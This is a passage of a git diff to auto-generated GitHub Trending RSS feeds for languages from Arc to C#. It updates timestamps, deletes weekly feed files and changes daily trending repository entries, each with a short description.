href="https://github.com/franzheidl/alfred-workflows/tree/master/open-with-sublime-text-2">Here</a> The original one cannot open Folder with arguments or through folder actions, the modified workflow uses bash scirpt instead of AppleScript to avoid this problem. You need to have <a href="http://www.sublimetext.com/docs/2/osx_command_line.html">Sublime Command Line</a> to make this work.</p> - - \ No newline at end of file diff --git a/arc/daily/index.xml b/arc/daily/index.xml index 79250ff3b28..e9ece155c8c 100644 --- a/arc/daily/index.xml +++ b/arc/daily/index.xml @@ -1,7 +1,7 @@ GitHub Arc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:10Z + 2023-10-30T01:24:23Z Daily Trending of Arc in GitHub \ No newline at end of file diff --git a/arc/weekly/index.xml b/arc/weekly/index.xml deleted file mode 100644 index 0cbc5772ebe..00000000000 --- a/arc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Arc Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:08Z - Weekly Trending of Arc in GitHub - - \ No newline at end of file diff --git a/asciidoc/daily/index.xml b/asciidoc/daily/index.xml index 57867571e2c..1c358c2386c 100644 --- a/asciidoc/daily/index.xml +++ b/asciidoc/daily/index.xml @@ -1,7 +1,7 @@ GitHub AsciiDoc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:14Z + 2023-10-30T01:24:26Z Daily Trending of AsciiDoc in GitHub \ No newline at end of file diff --git a/asciidoc/weekly/index.xml b/asciidoc/weekly/index.xml deleted file mode 100644 index 1ff533714d7..00000000000 --- a/asciidoc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub AsciiDoc Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:13Z - Weekly Trending of AsciiDoc in GitHub - - \ No newline at end of file diff --git a/asl/daily/index.xml b/asl/daily/index.xml index d436513cfd2..d8a23316136 100644 --- a/asl/daily/index.xml +++ b/asl/daily/index.xml @@ -1,7 +1,7 @@ GitHub ASL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:11Z + 2023-10-30T01:24:28Z Daily Trending of ASL in GitHub \ No newline at end of file diff --git a/asl/weekly/index.xml b/asl/weekly/index.xml deleted file mode 100644 index 3beb865b114..00000000000 --- a/asl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ASL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:10Z - Weekly Trending of ASL in GitHub - - \ No newline at end of file diff --git a/asn.1/daily/index.xml b/asn.1/daily/index.xml index 5f934ca45af..cd5dfb26863 100644 --- a/asn.1/daily/index.xml +++ b/asn.1/daily/index.xml @@ -1,7 +1,7 @@ GitHub ASN.1 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:13Z + 2023-10-30T01:24:25Z Daily Trending of ASN.1 in GitHub \ No newline at end of file diff --git a/asn.1/weekly/index.xml b/asn.1/weekly/index.xml deleted file mode 100644 index aee0a407157..00000000000 --- a/asn.1/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ASN.1 Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:11Z - Weekly Trending of ASN.1 in GitHub - - \ No newline at end of file diff --git a/asp.net/daily/index.xml b/asp.net/daily/index.xml index dd3648e6bf3..d7a5ed3f612 100644 --- a/asp.net/daily/index.xml +++ b/asp.net/daily/index.xml @@ -1,7 +1,14 @@ GitHub ASP.NET Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:15Z + 2023-10-30T01:24:30Z Daily Trending of ASP.NET in GitHub + + loomstyla/GD-2023-Platformer + 2023-10-30T01:24:30Z + tag:github.com,2023-10-30:/loomstyla/GD-2023-Platformer + + <p></p><hr> + \ No newline at end of file diff --git a/asp.net/weekly/index.xml b/asp.net/weekly/index.xml deleted file mode 100644 index b5cdf802989..00000000000 --- a/asp.net/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ASP.NET Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:16Z - Weekly Trending of ASP.NET in GitHub - - \ No newline at end of file diff --git a/aspectj/daily/index.xml b/aspectj/daily/index.xml index 6bdb9f741b1..e93dd81f147 100644 --- a/aspectj/daily/index.xml +++ b/aspectj/daily/index.xml @@ -1,7 +1,7 @@ GitHub AspectJ Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:19Z + 2023-10-30T01:24:29Z Daily Trending of AspectJ in GitHub \ No newline at end of file diff --git a/aspectj/weekly/index.xml b/aspectj/weekly/index.xml deleted file mode 100644 index 03e2bb02a36..00000000000 --- a/aspectj/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub AspectJ Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:15Z - Weekly Trending of AspectJ in GitHub - - \ No newline at end of file diff --git a/assembly/daily/index.xml b/assembly/daily/index.xml index c0baedfca02..dcf43927e0e 100644 --- a/assembly/daily/index.xml +++ b/assembly/daily/index.xml @@ -1,14 +1,14 @@ GitHub Assembly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:18Z + 2023-10-30T01:24:35Z Daily Trending of Assembly in GitHub - CMPT-295-SFU/RISCV-Lab-7 - 2023-10-29T01:27:18Z - tag:github.com,2023-10-29:/CMPT-295-SFU/RISCV-Lab-7 - - <p>exams</p><hr> + WHumphreys/Manic-Miner-Source-Code + 2023-10-30T01:24:35Z + tag:github.com,2023-10-30:/WHumphreys/Manic-Miner-Source-Code + + <p>Manic Miner source code for the ZX Spectrum.</p><hr> \ No newline at end of file diff --git a/assembly/weekly/index.xml b/assembly/weekly/index.xml deleted file mode 100644 index 195af02ee1a..00000000000 --- a/assembly/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub Assembly Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:21Z - Weekly Trending of Assembly in GitHub - - - bddap/bddap-s-programs-and-subroutines - 2023-10-29T01:47:21Z - tag:github.com,2023-10-29:/bddap/bddap-s-programs-and-subroutines - - <p></p><hr> - - - CMPT-295-SFU/RISCV-Lab-6 - 2023-10-29T01:47:21Z - tag:github.com,2023-10-29:/CMPT-295-SFU/RISCV-Lab-6 - - <p>RISC V Lab 6</p><hr> - - \ No newline at end of file diff --git a/astro/daily/index.xml b/astro/daily/index.xml index 18de7d0bab4..096fcd8c4ad 100644 --- a/astro/daily/index.xml +++ b/astro/daily/index.xml @@ -1,14 +1,7 @@ GitHub Astro Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:20Z + 2023-10-30T01:24:33Z Daily Trending of Astro in GitHub - - Zethco/fuzzy-sniffle - 2023-10-29T01:27:20Z - tag:github.com,2023-10-29:/Zethco/fuzzy-sniffle - - <p>TBB</p><hr> - \ No newline at end of file diff --git a/astro/weekly/index.xml b/astro/weekly/index.xml deleted file mode 100644 index d26948ffebb..00000000000 --- a/astro/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub Astro Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:18Z - Weekly Trending of Astro in GitHub - - - USKhokhar/fehrist - 2023-10-29T01:47:18Z - tag:github.com,2023-10-29:/USKhokhar/fehrist - - <p>An open-source collection of synopses collected by book lovers, for book lovers... [ACCEPTING PRs FOR HACKTOBERFEST]</p><hr> - - - Maakaf/maakaf-temp - 2023-10-29T01:47:18Z - tag:github.com,2023-10-29:/Maakaf/maakaf-temp - - <p>אתר זמני לקהילת מעקף.</p><hr> - - \ No newline at end of file diff --git a/asymptote/daily/index.xml b/asymptote/daily/index.xml index ee612dd8015..271dd6547de 100644 --- a/asymptote/daily/index.xml +++ b/asymptote/daily/index.xml @@ -1,7 +1,7 @@ GitHub Asymptote Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:23Z + 2023-10-30T01:24:36Z Daily Trending of Asymptote in GitHub \ No newline at end of file diff --git a/asymptote/weekly/index.xml b/asymptote/weekly/index.xml deleted file mode 100644 index 81e2f42b4fc..00000000000 --- a/asymptote/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Asymptote Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:24Z - Weekly Trending of Asymptote in GitHub - - \ No newline at end of file diff --git a/ats/daily/index.xml b/ats/daily/index.xml index 1702a93bace..fd94e074146 100644 --- a/ats/daily/index.xml +++ b/ats/daily/index.xml @@ -1,7 +1,7 @@ GitHub ATS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:24Z + 2023-10-30T01:24:39Z Daily Trending of ATS in GitHub \ No newline at end of file diff --git a/ats/weekly/index.xml b/ats/weekly/index.xml deleted file mode 100644 index 10de7cdc8a5..00000000000 --- a/ats/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ATS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:22Z - Weekly Trending of ATS in GitHub - - \ No newline at end of file diff --git a/augeas/daily/index.xml b/augeas/daily/index.xml index d6eda076d33..41d78f3da89 100644 --- a/augeas/daily/index.xml +++ b/augeas/daily/index.xml @@ -1,7 +1,7 @@ GitHub Augeas Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:22Z + 2023-10-30T01:24:37Z Daily Trending of Augeas in GitHub \ No newline at end of file diff --git a/augeas/weekly/index.xml b/augeas/weekly/index.xml deleted file mode 100644 index 0006040c952..00000000000 --- a/augeas/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Augeas Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:23Z - Weekly Trending of Augeas in GitHub - - \ No newline at end of file diff --git a/autohotkey/daily/index.xml b/autohotkey/daily/index.xml index a1c7dd573f3..8472cd17930 100644 --- a/autohotkey/daily/index.xml +++ b/autohotkey/daily/index.xml @@ -1,7 +1,7 @@ GitHub AutoHotkey Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:22Z + 2023-10-30T01:24:38Z Daily Trending of AutoHotkey in GitHub \ No newline at end of file diff --git a/autohotkey/weekly/index.xml b/autohotkey/weekly/index.xml deleted file mode 100644 index eca32b1d266..00000000000 --- a/autohotkey/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub AutoHotkey Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:25Z - Weekly Trending of AutoHotkey in GitHub - - \ No newline at end of file diff --git a/autoit/daily/index.xml b/autoit/daily/index.xml index bd1ff6026cd..c545a0f5a98 100644 --- a/autoit/daily/index.xml +++ b/autoit/daily/index.xml @@ -1,7 +1,7 @@ GitHub AutoIt Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:26Z + 2023-10-30T01:24:43Z Daily Trending of AutoIt in GitHub \ No newline at end of file diff --git a/autoit/weekly/index.xml b/autoit/weekly/index.xml deleted file mode 100644 index ef114a18234..00000000000 --- a/autoit/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub AutoIt Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:30Z - Weekly Trending of AutoIt in GitHub - - \ No newline at end of file diff --git a/avro-idl/daily/index.xml b/avro-idl/daily/index.xml index 85000d5153a..176c004b849 100644 --- a/avro-idl/daily/index.xml +++ b/avro-idl/daily/index.xml @@ -1,7 +1,7 @@ GitHub Avro IDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:27Z + 2023-10-30T01:24:40Z Daily Trending of Avro IDL in GitHub \ No newline at end of file diff --git a/avro-idl/weekly/index.xml b/avro-idl/weekly/index.xml deleted file mode 100644 index 9891ea4671e..00000000000 --- a/avro-idl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Avro IDL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:27Z - Weekly Trending of Avro IDL in GitHub - - \ No newline at end of file diff --git a/awk/daily/index.xml b/awk/daily/index.xml index e121e79f40d..0bedfbf3206 100644 --- a/awk/daily/index.xml +++ b/awk/daily/index.xml @@ -1,7 +1,7 @@ GitHub Awk Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:26Z + 2023-10-30T01:24:41Z Daily Trending of Awk in GitHub \ No newline at end of file diff --git a/awk/weekly/index.xml b/awk/weekly/index.xml deleted file mode 100644 index c421e4fe39f..00000000000 --- a/awk/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Awk Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:26Z - Weekly Trending of Awk in GitHub - - \ No newline at end of file diff --git a/ballerina/daily/index.xml b/ballerina/daily/index.xml index 299362910bf..88d33e373ee 100644 --- a/ballerina/daily/index.xml +++ b/ballerina/daily/index.xml @@ -1,28 +1,7 @@ GitHub Ballerina Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:30Z + 2023-10-30T01:24:42Z Daily Trending of Ballerina in GitHub - - ballerina-platform/module-ballerina-soap - 2023-10-29T01:27:30Z - tag:github.com,2023-10-29:/ballerina-platform/module-ballerina-soap - - <p></p><hr> - - - ballerina-platform/module-ballerinax-googleapis.calendar - 2023-10-29T01:27:30Z - tag:github.com,2023-10-29:/ballerina-platform/module-ballerinax-googleapis.calendar - - <p>Connector repository for Google Calendar API.</p><hr> - - - ballerina-platform/module-ballerinax-java.jms - 2023-10-29T01:27:30Z - tag:github.com,2023-10-29:/ballerina-platform/module-ballerinax-java.jms - - <p></p><hr> - \ No newline at end of file diff --git a/ballerina/weekly/index.xml b/ballerina/weekly/index.xml deleted file mode 100644 index 7fa333b29b2..00000000000 --- a/ballerina/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ballerina Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:28Z - Weekly Trending of Ballerina in GitHub - - \ No newline at end of file diff --git a/basic/daily/index.xml b/basic/daily/index.xml index baa9b76494d..930711a1882 100644 --- a/basic/daily/index.xml +++ b/basic/daily/index.xml @@ -1,7 +1,7 @@ GitHub BASIC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:32Z + 2023-10-30T01:24:44Z Daily Trending of BASIC in GitHub \ No newline at end of file diff --git a/basic/weekly/index.xml b/basic/weekly/index.xml deleted file mode 100644 index f95a745bb45..00000000000 --- a/basic/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub BASIC Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:32Z - Weekly Trending of BASIC in GitHub - - \ No newline at end of file diff --git a/batchfile/daily/index.xml b/batchfile/daily/index.xml index afb76397914..00b550fdec9 100644 --- a/batchfile/daily/index.xml +++ b/batchfile/daily/index.xml @@ -1,14 +1,14 @@ GitHub Batchfile Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:36Z + 2023-10-30T01:24:47Z Daily Trending of Batchfile in GitHub - auraside/Hone - 2023-10-29T01:27:36Z - tag:github.com,2023-10-29:/auraside/Hone - + DEAM0/Windows-7-Activator + 2023-10-30T01:24:47Z + tag:github.com,2023-10-30:/DEAM0/Windows-7-Activator + <p></p><hr> \ No newline at end of file diff --git a/batchfile/weekly/index.xml b/batchfile/weekly/index.xml deleted file mode 100644 index dbddb4f29c4..00000000000 --- a/batchfile/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Batchfile Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:36Z - Weekly Trending of Batchfile in GitHub - - - Alex313031/Thorium-Win-AVX2 - 2023-10-29T01:47:36Z - tag:github.com,2023-10-29:/Alex313031/Thorium-Win-AVX2 - - <p>Repo to serve AVX2 Windows builds of Thorium. https://github.com/Alex313031/Thorium/</p><hr> - - - EbolaMan-YT/UAC-Bypass - 2023-10-29T01:47:36Z - tag:github.com,2023-10-29:/EbolaMan-YT/UAC-Bypass - - <p>3 ways of bypassing admin restrictions/uac</p><hr> - - - L8Xx/Roblox-Client-Optimizer - 2023-10-29T01:47:36Z - tag:github.com,2023-10-29:/L8Xx/Roblox-Client-Optimizer - - <p>RCO tweaks FFlags to optimize your Roblox client</p><hr> - - \ No newline at end of file diff --git a/beef/daily/index.xml b/beef/daily/index.xml index 2f562c17255..596cf459093 100644 --- a/beef/daily/index.xml +++ b/beef/daily/index.xml @@ -1,7 +1,7 @@ GitHub Beef Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:33Z + 2023-10-30T01:24:45Z Daily Trending of Beef in GitHub \ No newline at end of file diff --git a/beef/weekly/index.xml b/beef/weekly/index.xml deleted file mode 100644 index 144d1ad642b..00000000000 --- a/beef/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Beef Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:31Z - Weekly Trending of Beef in GitHub - - \ No newline at end of file diff --git a/befunge/daily/index.xml b/befunge/daily/index.xml index fc467620cd7..e8abaf5fafc 100644 --- a/befunge/daily/index.xml +++ b/befunge/daily/index.xml @@ -1,7 +1,7 @@ GitHub Befunge Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:33Z + 2023-10-30T01:24:45Z Daily Trending of Befunge in GitHub \ No newline at end of file diff --git a/befunge/weekly/index.xml b/befunge/weekly/index.xml deleted file mode 100644 index 1dd08fcb308..00000000000 --- a/befunge/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Befunge Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:33Z - Weekly Trending of Befunge in GitHub - - \ No newline at end of file diff --git a/berry/daily/index.xml b/berry/daily/index.xml index 9192f896391..4a00a57157d 100644 --- a/berry/daily/index.xml +++ b/berry/daily/index.xml @@ -1,7 +1,7 @@ GitHub Berry Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:38Z + 2023-10-30T01:24:49Z Daily Trending of Berry in GitHub \ No newline at end of file diff --git a/berry/weekly/index.xml b/berry/weekly/index.xml deleted file mode 100644 index 6048fc75d13..00000000000 --- a/berry/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Berry Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:38Z - Weekly Trending of Berry in GitHub - - \ No newline at end of file diff --git a/bibtex/daily/index.xml b/bibtex/daily/index.xml index 323bb13c089..68273e4a081 100644 --- a/bibtex/daily/index.xml +++ b/bibtex/daily/index.xml @@ -1,7 +1,7 @@ GitHub BibTeX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:37Z + 2023-10-30T01:24:50Z Daily Trending of BibTeX in GitHub \ No newline at end of file diff --git a/bibtex/weekly/index.xml b/bibtex/weekly/index.xml deleted file mode 100644 index 1d50eb00956..00000000000 --- a/bibtex/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub BibTeX Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:39Z - Weekly Trending of BibTeX in GitHub - - \ No newline at end of file diff --git a/bicep/daily/index.xml b/bicep/daily/index.xml index a8631eac2e4..71583dd1cf2 100644 --- a/bicep/daily/index.xml +++ b/bicep/daily/index.xml @@ -1,7 +1,7 @@ GitHub Bicep Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:41Z + 2023-10-30T01:24:51Z Daily Trending of Bicep in GitHub \ No newline at end of file diff --git a/bicep/weekly/index.xml b/bicep/weekly/index.xml deleted file mode 100644 index 39436498a58..00000000000 --- a/bicep/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub Bicep Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:41Z - Weekly Trending of Bicep in GitHub - - - radius-project/docs - 2023-10-29T01:47:41Z - tag:github.com,2023-10-29:/radius-project/docs - - <p>Documentation for Radius</p><hr> - - - Azure/GPT-RAG - 2023-10-29T01:47:41Z - tag:github.com,2023-10-29:/Azure/GPT-RAG - - <p>Sharing the learning along the way we been gathering to enable Azure OpenAI at scale in a secure manner. GPT-RAG core is a Retrieval-Augmented Generation pattern running in Azure, using Azure Cognitive Search for retrieval and Azure OpenAI large language models to power ChatGPT-style and Q&A experiences.</p><hr> - - \ No newline at end of file diff --git a/bison/daily/index.xml b/bison/daily/index.xml index 602fa9f6d3b..741e331e07d 100644 --- a/bison/daily/index.xml +++ b/bison/daily/index.xml @@ -1,7 +1,7 @@ GitHub Bison Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:46Z + 2023-10-30T01:24:53Z Daily Trending of Bison in GitHub \ No newline at end of file diff --git a/bison/weekly/index.xml b/bison/weekly/index.xml deleted file mode 100644 index 8879dce2047..00000000000 --- a/bison/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Bison Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:45Z - Weekly Trending of Bison in GitHub - - \ No newline at end of file diff --git a/bitbake/daily/index.xml b/bitbake/daily/index.xml index c60f9ceb676..805fded84cc 100644 --- a/bitbake/daily/index.xml +++ b/bitbake/daily/index.xml @@ -1,7 +1,7 @@ GitHub BitBake Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:46Z + 2023-10-30T01:24:54Z Daily Trending of BitBake in GitHub \ No newline at end of file diff --git a/bitbake/weekly/index.xml b/bitbake/weekly/index.xml deleted file mode 100644 index 4418988421f..00000000000 --- a/bitbake/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub BitBake Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:48Z - Weekly Trending of BitBake in GitHub - - \ No newline at end of file diff --git a/blade/daily/index.xml b/blade/daily/index.xml index 55ee6ee7ea3..ac5e6cc5b3a 100644 --- a/blade/daily/index.xml +++ b/blade/daily/index.xml @@ -1,7 +1,7 @@ GitHub Blade Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:43Z + 2023-10-30T01:24:55Z Daily Trending of Blade in GitHub \ No newline at end of file diff --git a/blade/weekly/index.xml b/blade/weekly/index.xml deleted file mode 100644 index 190c35230b5..00000000000 --- a/blade/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Blade Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:45Z - Weekly Trending of Blade in GitHub - - \ No newline at end of file diff --git a/blitzbasic/daily/index.xml b/blitzbasic/daily/index.xml index 1869c2fa71a..1f929058bf3 100644 --- a/blitzbasic/daily/index.xml +++ b/blitzbasic/daily/index.xml @@ -1,7 +1,7 @@ GitHub BlitzBasic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:44Z + 2023-10-30T01:24:52Z Daily Trending of BlitzBasic in GitHub \ No newline at end of file diff --git a/blitzbasic/weekly/index.xml b/blitzbasic/weekly/index.xml deleted file mode 100644 index e340a93007d..00000000000 --- a/blitzbasic/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub BlitzBasic Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:46Z - Weekly Trending of BlitzBasic in GitHub - - \ No newline at end of file diff --git a/blitzmax/daily/index.xml b/blitzmax/daily/index.xml index df7ed9a6ab1..e78c58ebced 100644 --- a/blitzmax/daily/index.xml +++ b/blitzmax/daily/index.xml @@ -1,7 +1,7 @@ GitHub BlitzMax Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:51Z + 2023-10-30T01:24:57Z Daily Trending of BlitzMax in GitHub \ No newline at end of file diff --git a/blitzmax/weekly/index.xml b/blitzmax/weekly/index.xml deleted file mode 100644 index 385fb8fe53a..00000000000 --- a/blitzmax/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub BlitzMax Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:50Z - Weekly Trending of BlitzMax in GitHub - - \ No newline at end of file diff --git a/bluespec/daily/index.xml b/bluespec/daily/index.xml index 8056dcf35f0..6b33e7f7c78 100644 --- a/bluespec/daily/index.xml +++ b/bluespec/daily/index.xml @@ -1,7 +1,7 @@ GitHub Bluespec Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:49Z + 2023-10-30T01:24:58Z Daily Trending of Bluespec in GitHub \ No newline at end of file diff --git a/bluespec/weekly/index.xml b/bluespec/weekly/index.xml deleted file mode 100644 index ab9b6103236..00000000000 --- a/bluespec/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Bluespec Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:51Z - Weekly Trending of Bluespec in GitHub - - \ No newline at end of file diff --git a/boo/daily/index.xml b/boo/daily/index.xml index 3b36f14c007..1e5bc1f87f4 100644 --- a/boo/daily/index.xml +++ b/boo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Boo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:50Z + 2023-10-30T01:24:59Z Daily Trending of Boo in GitHub \ No newline at end of file diff --git a/boo/weekly/index.xml b/boo/weekly/index.xml deleted file mode 100644 index fa584ea88fe..00000000000 --- a/boo/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Boo Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:52Z - Weekly Trending of Boo in GitHub - - \ No newline at end of file diff --git a/boogie/daily/index.xml b/boogie/daily/index.xml index 15a62b0bb10..cbb1aecf22e 100644 --- a/boogie/daily/index.xml +++ b/boogie/daily/index.xml @@ -1,7 +1,7 @@ GitHub Boogie Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:54Z + 2023-10-30T01:25:02Z Daily Trending of Boogie in GitHub \ No newline at end of file diff --git a/boogie/weekly/index.xml b/boogie/weekly/index.xml deleted file mode 100644 index ae296f4afb3..00000000000 --- a/boogie/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Boogie Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:55Z - Weekly Trending of Boogie in GitHub - - \ No newline at end of file diff --git a/brainfuck/daily/index.xml b/brainfuck/daily/index.xml index 9056d8808c7..6588afe79d6 100644 --- a/brainfuck/daily/index.xml +++ b/brainfuck/daily/index.xml @@ -1,7 +1,7 @@ GitHub Brainfuck Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:54Z + 2023-10-30T01:25:01Z Daily Trending of Brainfuck in GitHub \ No newline at end of file diff --git a/brainfuck/weekly/index.xml b/brainfuck/weekly/index.xml deleted file mode 100644 index 356028c8212..00000000000 --- a/brainfuck/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Brainfuck Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:53Z - Weekly Trending of Brainfuck in GitHub - - \ No newline at end of file diff --git a/brightscript/daily/index.xml b/brightscript/daily/index.xml index c285245fa78..79bfbf3bfa0 100644 --- a/brightscript/daily/index.xml +++ b/brightscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub Brightscript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:55Z + 2023-10-30T01:25:03Z Daily Trending of Brightscript in GitHub \ No newline at end of file diff --git a/brightscript/weekly/index.xml b/brightscript/weekly/index.xml deleted file mode 100644 index 3a59d3094de..00000000000 --- a/brightscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Brightscript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:56Z - Weekly Trending of Brightscript in GitHub - - \ No newline at end of file diff --git a/browserslist/daily/index.xml b/browserslist/daily/index.xml index 5c26b80b71d..3cb774e0c11 100644 --- a/browserslist/daily/index.xml +++ b/browserslist/daily/index.xml @@ -1,7 +1,7 @@ GitHub Browserslist Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:27:58Z + 2023-10-30T01:25:05Z Daily Trending of Browserslist in GitHub \ No newline at end of file diff --git a/browserslist/weekly/index.xml b/browserslist/weekly/index.xml deleted file mode 100644 index e0e33b16e94..00000000000 --- a/browserslist/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Browserslist Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:47:57Z - Weekly Trending of Browserslist in GitHub - - \ No newline at end of file diff --git a/c%23/daily/index.xml b/c%23/daily/index.xml index f6343da456a..8d3abe85d9d 100644 --- a/c%23/daily/index.xml +++ b/c%23/daily/index.xml @@ -1,7 +1,14 @@ GitHub C# Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:28:15Z + 2023-10-30T01:25:10Z Daily Trending of C# in GitHub + + MarsQQ/Aimmy + 2023-10-30T01:25:10Z + 